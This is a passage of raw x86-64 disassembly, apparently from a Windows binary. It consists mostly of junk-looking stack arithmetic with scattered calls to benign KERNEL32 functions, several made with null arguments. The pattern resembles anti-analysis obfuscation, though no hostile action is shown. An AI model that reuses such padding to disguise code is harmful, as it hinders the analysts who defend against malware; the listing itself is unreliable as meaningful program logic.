movzx eax, byte [rsp + 0x1e1]
mov rcx, qword [rsp + 0x5d80]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x51c8]
mov byte [rcx], al
lea rax, [rsp + 0x1f8c]
mov qword [rsp + 0x7d58], rax
mov rax, qword [rsp + 0x7448]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcbc]
or eax, ecx
mov word [rsp + 0x69c], ax
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x5f80]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6c78]
mov word [rcx], ax
lea rax, [0x14018be78]
mov qword [rsp + 0x7d60], rax
mov rax, qword [rsp + 0x6fc8]
movzx ecx, al
mov rax, qword [rsp + 0x7cf8]
shr rax, cl
mov rcx, qword [rsp + 0x69c8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1d6]
mov byte [rsp + 0x20f], al
movsx eax, word [rsp + 0xe48]
movsx ecx, word [rsp + 0x7c8]
sub eax, ecx
mov rcx, qword [rsp + 0x4d10]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rax, [rsp + 0x600]
mov qword [0x14018c7b0], rax
mov rax, qword [rsp + 0x5510]
mov rcx, qword [rsp + 0x6bb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x3fb8]
mov qword [rcx], rax
lea rax, [rsp + 0x3de8]
mov qword [rsp + 0x7d68], rax
mov rax, qword [rsp + 0x74f8]
mov rcx, qword [rsp + 0x7998]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6330]
mov qword [rcx], rax
lea rax, [rsp + 0xe44]
mov qword [rsp + 0x7d70], rax
mov rax, qword [rsp + 0x4c28]
mov rcx, qword [rsp + 0x46e8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4750]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x79d8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ca], al
lea rax, [rsp + 0x1b30]
mov qword [rsp + 0x7d78], rax
movzx eax, byte [rsp + 0x1e4]
movzx ecx, byte [0x14018acda]
and eax, ecx
mov byte [rsp + 0x1ba], al
lea rax, [rsp + 0x2070]
mov qword [rsp + 0x7d80], rax
movsx eax, word [rsp + 0xe98]
movsx ecx, word [rsp + 0x974]
sar eax, cl
mov word [0x14018c080], ax
mov rax, qword [rsp + 0x5d28]
movzx eax, word [rax]
mov rcx, qword [0x14018c780]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5788]
mov word [rcx], ax
mov rax, qword [rsp + 0x4c90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9d8], ax
mov rax, qword [rsp + 0x4698]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c20]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7998]
mov qword [rcx], rax
mov rax, qword [0x14018c188]
mov ecx, dword [rsp + 0x223c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x44f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5920]
mov rax, qword [rax]
mov qword [rsp + 0x7d88], rax
mov rax, qword [rsp + 0x7d20]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x54e8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6b50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4158]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x79c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x664], ax
mov rax, qword [rsp + 0x4c90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x45c]
add eax, ecx
mov word [rsp + 0x404], ax
lea rax, [rsp + 0x3318]
mov qword [0x14018c7b8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2268], eax
movzx eax, word [rsp + 0x840]
mov rcx, qword [rsp + 0x3e38]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xaec], ax
mov rax, qword [rsp + 0x7a60]
mov qword [rsp + 0x7d90], rax
mov rax, qword [rsp + 0x5728]
mov rcx, qword [rsp + 0x3280]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3150], rax
lea rax, [rsp + 0x1d44]
mov qword [rsp + 0x7d98], rax
mov rax, qword [rsp + 0x51b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1cb]
and eax, ecx
mov byte [rsp + 0x1c2], al
mov rax, qword [rsp + 0x6630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fd0], eax
lea rax, [rsp + 0x1c8]
mov qword [rsp + 0x7da0], rax
mov rax, qword [rsp + 0x6fd8]
mov rcx, qword [rsp + 0x4cb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4ce0]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf48]
mov rcx, qword [rsp + 0x6938]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018c5a0]
mov word [rcx], ax
lea rax, [rsp + 0xce8]
mov qword [rsp + 0x7da8], rax
movzx eax, word [rsp + 0xed8]
movzx ecx, word [rsp + 0xca4]
and eax, ecx
mov word [rsp + 0xf68], ax
mov rax, qword [rsp + 0x7c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6ba8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x56a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x2b08]
mov qword [rsp + 0x7db0], rax
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe28], ax
mov rax, qword [rsp + 0x6718]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b9]
xor eax, ecx
mov rcx, qword [rsp + 0x6e00]
mov byte [rcx], al
lea rax, [0x14018be78]
mov qword [rsp + 0x7db8], rax
mov edx, 0x2660
mov rcx, qword [rsp + 0x4278]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2144], eax
mov rax, qword [rsp + 0x78d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcc0]
or eax, ecx
mov word [rsp + 0xeb0], ax
movzx eax, word [rsp + 0xda8]
movzx ecx, word [rsp + 0x6a4]
add eax, ecx
mov word [rsp + 0x99c], ax
lea rax, [0x14018c1f8]
mov qword [0x14018c7c0], rax
mov rax, qword [rsp + 0x7590]
mov rcx, qword [rsp + 0x2f10]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7920]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3520]
mov rcx, qword [rsp + 0x7110]
mov qword [rsp + 0x7dc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7dc0]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x5870]
mov qword [rcx], rax
lea rax, [0x14018be90]
mov qword [rsp + 0x7dc8], rax
movzx eax, word [rsp + 0xdec]
movzx ecx, word [rsp + 0xcb0]
add eax, ecx
mov word [rsp + 0xf24], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0x7dd0], rax
mov eax, dword [rsp + 0x21cc]
mov ecx, dword [rsp + 0x1d40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6100]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6020]
mov rcx, qword [rsp + 0x3dc8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7440]
mov dword [rcx], eax
lea rax, [rsp + 0x6740]
mov qword [rsp + 0x7dd8], rax
movsx eax, byte [rsp + 0x204]
movsx ecx, byte [rsp + 0xaf]
and eax, ecx
mov byte [0x14018bdcb], al
mov rax, qword [rsp + 0x6018]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4298]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xca0], ax
lea rax, [rsp + 0xa1c]
mov qword [rsp + 0x7de0], rax
movzx eax, word [rsp + 0x618]
movzx ecx, word [rsp + 0xcd0]
sar eax, cl
mov word [rsp + 0xec0], ax
mov rax, qword [rsp + 0x38c8]
mov rcx, qword [rsp + 0x5700]
mov qword [rsp + 0x7de8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7de8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5ea8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70b8]
movzx eax, byte [rax]
mov byte [rsp + 0x210], al
mov rax, qword [0x14018bfa0]
mov rcx, qword [rsp + 0x53e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4ae0]
mov dword [rcx], eax
lea rax, [rsp + 0x54c8]
mov qword [rsp + 0x7df0], rax
movsx eax, word [rsp + 0xf48]
mov rcx, qword [rsp + 0x4f80]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x584], ax
mov rax, qword [rsp + 0x4e70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f4]
sub eax, ecx
mov word [0x14018c558], ax
mov rax, qword [rsp + 0x3b58]
mov rcx, qword [rsp + 0x6b38]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2bb8], rax
mov rax, qword [0x14018c0a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xad4]
add eax, ecx
mov word [rsp + 0xd00], ax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2234]
sar eax, cl
mov rcx, qword [rsp + 0x6cb8]
mov dword [rcx], eax
lea rax, [rsp + 0x1c4]
mov qword [rsp + 0x7df8], rax
mov rax, qword [rsp + 0x5a70]
mov ecx, dword [rsp + 0x219c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1b5c], eax
mov rax, qword [rsp + 0x6940]
mov rax, qword [rax]
mov qword [rsp + 0x7e00], rax
movsx eax, byte [rsp + 0x16c]
movsx ecx, byte [rsp + 0x92]
add eax, ecx
mov byte [rsp + 0x186], al
mov rax, qword [rsp + 0x7940]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd3c]
sub eax, ecx
mov rcx, qword [rsp + 0x4640]
mov word [rcx], ax
lea rax, [rsp + 0x390]
mov qword [0x14018c7c8], rax
lea rax, [rsp + 0x3300]
mov qword [rsp + 0x7e08], rax
mov rax, qword [rsp + 0x6948]
mov rcx, qword [0x14018c1f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x55e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5470]
movzx eax, word [rax]
mov word [rsp + 0xf6c], ax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4470]
mov word [rcx], ax
mov eax, dword [rsp + 0x1b10]
mov ecx, dword [0x14018ad34]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x44f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6258]
mov rcx, qword [rsp + 0x2e28]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2ef0], rax
mov rax, qword [rsp + 0x51b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16e]
or eax, ecx
mov rcx, qword [rsp + 0x5d38]
mov byte [rcx], al
lea rax, [rsp + 0x36e0]
mov qword [rsp + 0x7e10], rax
movsx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x6140]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14018bdd8]
mov word [rcx], ax
movzx eax, word [rsp + 0xe60]
mov rcx, qword [rsp + 0x6180]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x45a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x8e]
imul eax, ecx
mov rcx, qword [rsp + 0x7c70]
mov byte [rcx], al
lea rax, [rsp + 0x1b78]
mov qword [rsp + 0x7e18], rax
mov rax, qword [rsp + 0x5c38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2ff8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x64d0]
mov qword [rcx], rax
lea rax, [rsp + 0x175]
mov qword [rsp + 0x7e20], rax
mov rax, qword [rsp + 0x7db0]
mov rcx, qword [rsp + 0x3608]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5220]
mov qword [rcx], rax
lea rax, [0x14018ad60]
mov qword [rsp + 0x7e28], rax
mov rax, qword [rsp + 0x6928]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb48]
sub eax, ecx
mov rcx, qword [rsp + 0x7550]
mov word [rcx], ax
lea rax, [rsp + 0xf28]
mov qword [0x14018c7d0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x226c], eax
mov rax, qword [rsp + 0x7948]
mov rcx, qword [0x14018c1c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4830]
mov qword [rcx], rax
lea rax, [rsp + 0xc94]
mov qword [rsp + 0x7e30], rax
lea rcx, [rsp + 0x157e8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x5e70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3b8]
sar eax, cl
mov word [rsp + 0xac4], ax
mov rax, qword [rsp + 0x5870]
mov rax, qword [rax]
mov qword [rsp + 0x7e38], rax
mov rax, qword [0x14018c650]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x78b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6328]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5d90], rax
mov eax, dword [rsp + 0x21dc]
mov ecx, dword [rsp + 0x20c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1be4], eax
mov rax, qword [rsp + 0x45c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe18]
xor eax, ecx
mov word [rsp + 0xebc], ax
lea rax, [rsp + 0x2ac8]
mov qword [0x14018c7d8], rax
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x1e50]
mov dword [rsp + 0x2270], eax
mov rax, qword [rsp + 0x5500]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1ae], al
mov rax, qword [rsp + 0x4dc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d8]
sar eax, cl
mov word [rsp + 0x4d0], ax
lea rax, [0x14018ade4]
mov qword [rsp + 0x7e40], rax
mov rax, qword [rsp + 0x54a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x20c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d88], eax
lea rax, [rsp + 0x2b88]
mov qword [rsp + 0x7e48], rax
mov rax, qword [rsp + 0x4b68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x40e8]
mov byte [rcx], al
mov eax, 0x38
imul rax, rax, 1
lea rcx, [rsp + 0x162d0]
add rcx, rax
mov rax, rcx
add rax, 0x20
mov dword [rax], 0x60dba36c
mov rax, qword [rsp + 0x65b8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd30]
and eax, ecx
mov rcx, qword [rsp + 0x6de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6fc0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14018c410], ax
mov rax, qword [rsp + 0x45c0]
mov rcx, qword [0x14018be30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38a8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x7e50], rax
mov rax, qword [rsp + 0x2fc0]
movzx ecx, al
mov rax, qword [rsp + 0x7e38]
sar rax, cl
mov rcx, qword [rsp + 0x7158]
mov qword [rcx], rax
lea rax, [0x14018c5b8]
mov qword [rsp + 0x7e58], rax
movsx eax, word [rsp + 0xcb4]
movsx ecx, word [rsp + 0xe98]
sub eax, ecx
mov rcx, qword [rsp + 0x56a0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1af]
mov byte [rsp + 0x211], al
mov rax, qword [rsp + 0x4e20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2204]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7520]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6778]
mov rcx, qword [rsp + 0x6798]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5d08]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov r9d, 0x92e
xor r8d, r8d
lea rdx, [rsp + 0x58a0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x2080], eax
mov rax, qword [rsp + 0x5aa0]
movzx eax, byte [rax]
mov byte [rsp + 0x212], al
mov eax, dword [rsp + 0x2168]
mov ecx, dword [rsp + 0x20fc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4a58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6e28]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x14018c074], ax
mov rax, qword [rsp + 0x4bd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6cc8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3a0], ax
movzx eax, word [rsp + 0x600]
mov rcx, qword [rsp + 0x6c00]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7bd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6410]
mov rcx, qword [rsp + 0x6058]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x44a8]
mov qword [rcx], rax
movzx eax, byte [0x14018bdcb]
mov byte [rsp + 0x213], al
mov rax, qword [rsp + 0x4ae0]
mov rcx, qword [rsp + 0x3f68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7b78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3680]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2cb8], rax
mov rax, qword [rsp + 0x71b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf6c]
sub eax, ecx
mov rcx, qword [rsp + 0x45e0]
mov word [rcx], ax
movzx eax, word [rsp + 0x67c]
movzx ecx, word [rsp + 0xbb0]
and eax, ecx
mov rcx, qword [rsp + 0x7540]
mov word [rcx], ax
lea rax, [rsp + 0x2f58]
mov qword [0x14018c7e0], rax
mov rax, qword [0x14018c6d0]
movzx eax, word [rax]
mov word [rsp + 0xf70], ax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x3b58]
mov qword [rsp + 0x7e60], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7e60]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7a58]
mov qword [rcx], rax
lea rax, [rsp + 0x51e8]
mov qword [rsp + 0x7e68], rax
mov rax, qword [rsp + 0x6df8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1be0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2164], eax
lea rax, [rsp + 0x20c]
mov qword [rsp + 0x7e70], rax
mov eax, dword [rsp + 0x2028]
mov ecx, dword [rsp + 0x1d40]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2064], eax
movzx eax, byte [rsp + 0x1da]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6360]
mov byte [rcx], al
lea rax, [rsp + 0x6a40]
mov qword [rsp + 0x7e78], rax
lea rax, [rsp + 0xc58]
mov qword [0x14018c7e8], rax
mov rax, qword [rsp + 0x51b8]
movsx eax, word [rax]
mov rcx, qword [0x14018c460]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6790]
mov word [rcx], ax
lea rax, [rsp + 0xb98]
mov qword [rsp + 0x7e80], rax
mov rax, qword [rsp + 0x4a48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6170]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4b40]
mov word [rcx], ax
mov rax, qword [rsp + 0x6520]
mov rcx, qword [0x14018c550]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x7ae8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
mov byte [rsp + 0x214], al
mov rax, qword [rsp + 0x4ab0]
mov rcx, qword [rsp + 0x7be0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x2ef0], rax
mov rax, qword [rsp + 0x6d30]
movsx eax, word [rax]
movsx ecx, word [0x14018bf48]
sar eax, cl
mov word [rsp + 0xb90], ax
mov rax, qword [rsp + 0x53e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xda8]
sub eax, ecx
mov rcx, qword [rsp + 0x6cc8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x2fc8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x14018c680]
mov qword [rcx], rax
mov rax, qword [0x14018c050]
mov rcx, qword [rsp + 0x4a10]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x70f8]
mov qword [rcx], rax
lea rax, [rsp + 0x39b0]
mov qword [rsp + 0x7e88], rax
mov rax, qword [rsp + 0x6358]
mov rcx, qword [rsp + 0x7488]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x47e8]
mov qword [rcx], rax
movzx eax, word [rsp + 0xaec]
mov word [rsp + 0xf74], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2268], eax
lea rcx, [0x14015037c]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xf78], ax
movzx eax, byte [rsp + 0x185]
mov rcx, qword [rsp + 0x74a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15d], al
mov eax, dword [rsp + 0x20dc]
movzx ecx, al
mov eax, dword [rsp + 0x21a0]
sar eax, cl
mov dword [rsp + 0x2128], eax
mov eax, dword [rsp + 0x2200]
mov ecx, dword [rsp + 0x1bd8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b54], eax
mov rax, qword [rsp + 0x6718]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11d]
or eax, ecx
mov rcx, qword [rsp + 0x4b80]
mov byte [rcx], al
lea rax, [0x14018ad18]
mov qword [0x14018c7f0], rax
lea rax, [rsp + 0xc84]
mov qword [rsp + 0x7e90], rax
mov rax, qword [rsp + 0x4d98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf64]
shl eax, cl
mov rcx, qword [rsp + 0x4dc8]
mov word [rcx], ax
movzx eax, word [rsp + 0x4fc]
mov word [rsp + 0xf7c], ax
mov rax, qword [rsp + 0x6ad8]
mov rcx, qword [rsp + 0x2c78]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7e38], rax
movsx eax, byte [rsp + 0x1c5]
mov rcx, qword [rsp + 0x6e98]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x48f8]
mov byte [rcx], al
lea rax, [rsp + 0x2134]
mov qword [rsp + 0x7e98], rax
mov rax, qword [rsp + 0x3670]
mov rcx, qword [rsp + 0x4eb0]
mov qword [rsp + 0x7ea0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ea0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x3608], rax
lea rax, [rsp + 0xa1c]
mov qword [rsp + 0x7ea8], rax
mov rax, qword [rsp + 0x62c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4d00]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018ad74], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x213c], eax
mov rax, qword [rsp + 0x7890]
mov rcx, qword [rsp + 0x7bc0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4878], rax
mov rax, qword [rsp + 0x7960]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe18]
and eax, ecx
mov rcx, qword [rsp + 0x74c0]
mov word [rcx], ax
movzx ecx, word [rsp + 0xd5c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdfc], ax
lea rax, [0x14018acda]
mov qword [rsp + 0x7eb0], rax
mov rax, qword [rsp + 0x7d80]
mov rcx, qword [rsp + 0x4358]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2044], eax
lea rax, [rsp + 0x167]
mov qword [rsp + 0x7eb8], rax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2170]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1b50], eax
mov rax, qword [rsp + 0x6a40]
mov rcx, qword [rsp + 0x54c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4c18]
mov qword [rcx], rax
lea rax, [rsp + 0xf5c]
mov qword [rsp + 0x7ec0], rax
movzx eax, word [rsp + 0x774]
movzx ecx, word [rsp + 0x764]
sar eax, cl
mov word [0x14018ae24], ax
mov rax, qword [rsp + 0x7c28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6078]
mov qword [rsp + 0x7ec8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7ec8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5a48]
mov qword [rcx], rax
lea rax, [rsp + 0x34f8]
mov qword [rsp + 0x7ed0], rax
movsx eax, word [0x14018be7c]
mov rcx, qword [rsp + 0x5188]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4398]
mov word [rcx], ax
movzx eax, word [rsp + 0x8fc]
mov word [rsp + 0xf80], ax
mov rcx, qword [rsp + 0x4d70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2274], eax
mov rax, qword [rsp + 0x4140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f8]
or eax, ecx
mov rcx, qword [rsp + 0x6b50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4708]
mov rcx, qword [rsp + 0x60e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5440]
mov dword [rcx], eax
lea rax, [rsp + 0x79a0]
mov qword [rsp + 0x7ed8], rax
mov rax, qword [rsp + 0x54f0]
mov rcx, qword [rsp + 0x5ae8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7808]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5cd0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf48]
sub eax, ecx
mov word [0x14018ad78], ax
mov rax, qword [rsp + 0x50c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe74]
sar eax, cl
mov word [rsp + 0xae8], ax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1b6]
add eax, ecx
mov byte [rsp + 0x86], al
mov eax, dword [rsp + 0x2060]
mov ecx, dword [rsp + 0x1c2c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2178], eax
lea rax, [rsp + 0x39b8]
mov qword [rsp + 0x7ee0], rax
mov rax, qword [rsp + 0x63d8]
mov ecx, dword [rsp + 0x2088]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x6a90]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x19a]
mov byte [rsp + 0x215], al
mov rax, qword [rsp + 0x3760]
mov rcx, qword [rsp + 0x4680]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5688]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe20]
mov rcx, qword [rsp + 0x6de8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf60], ax
lea rax, [rsp + 0x390]
mov qword [0x14018c7f8], rax
lea rax, [rsp + 0x7bc0]
mov qword [rsp + 0x7ee8], rax
movzx eax, word [rsp + 0x918]
mov rcx, qword [0x14018c7a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7900]
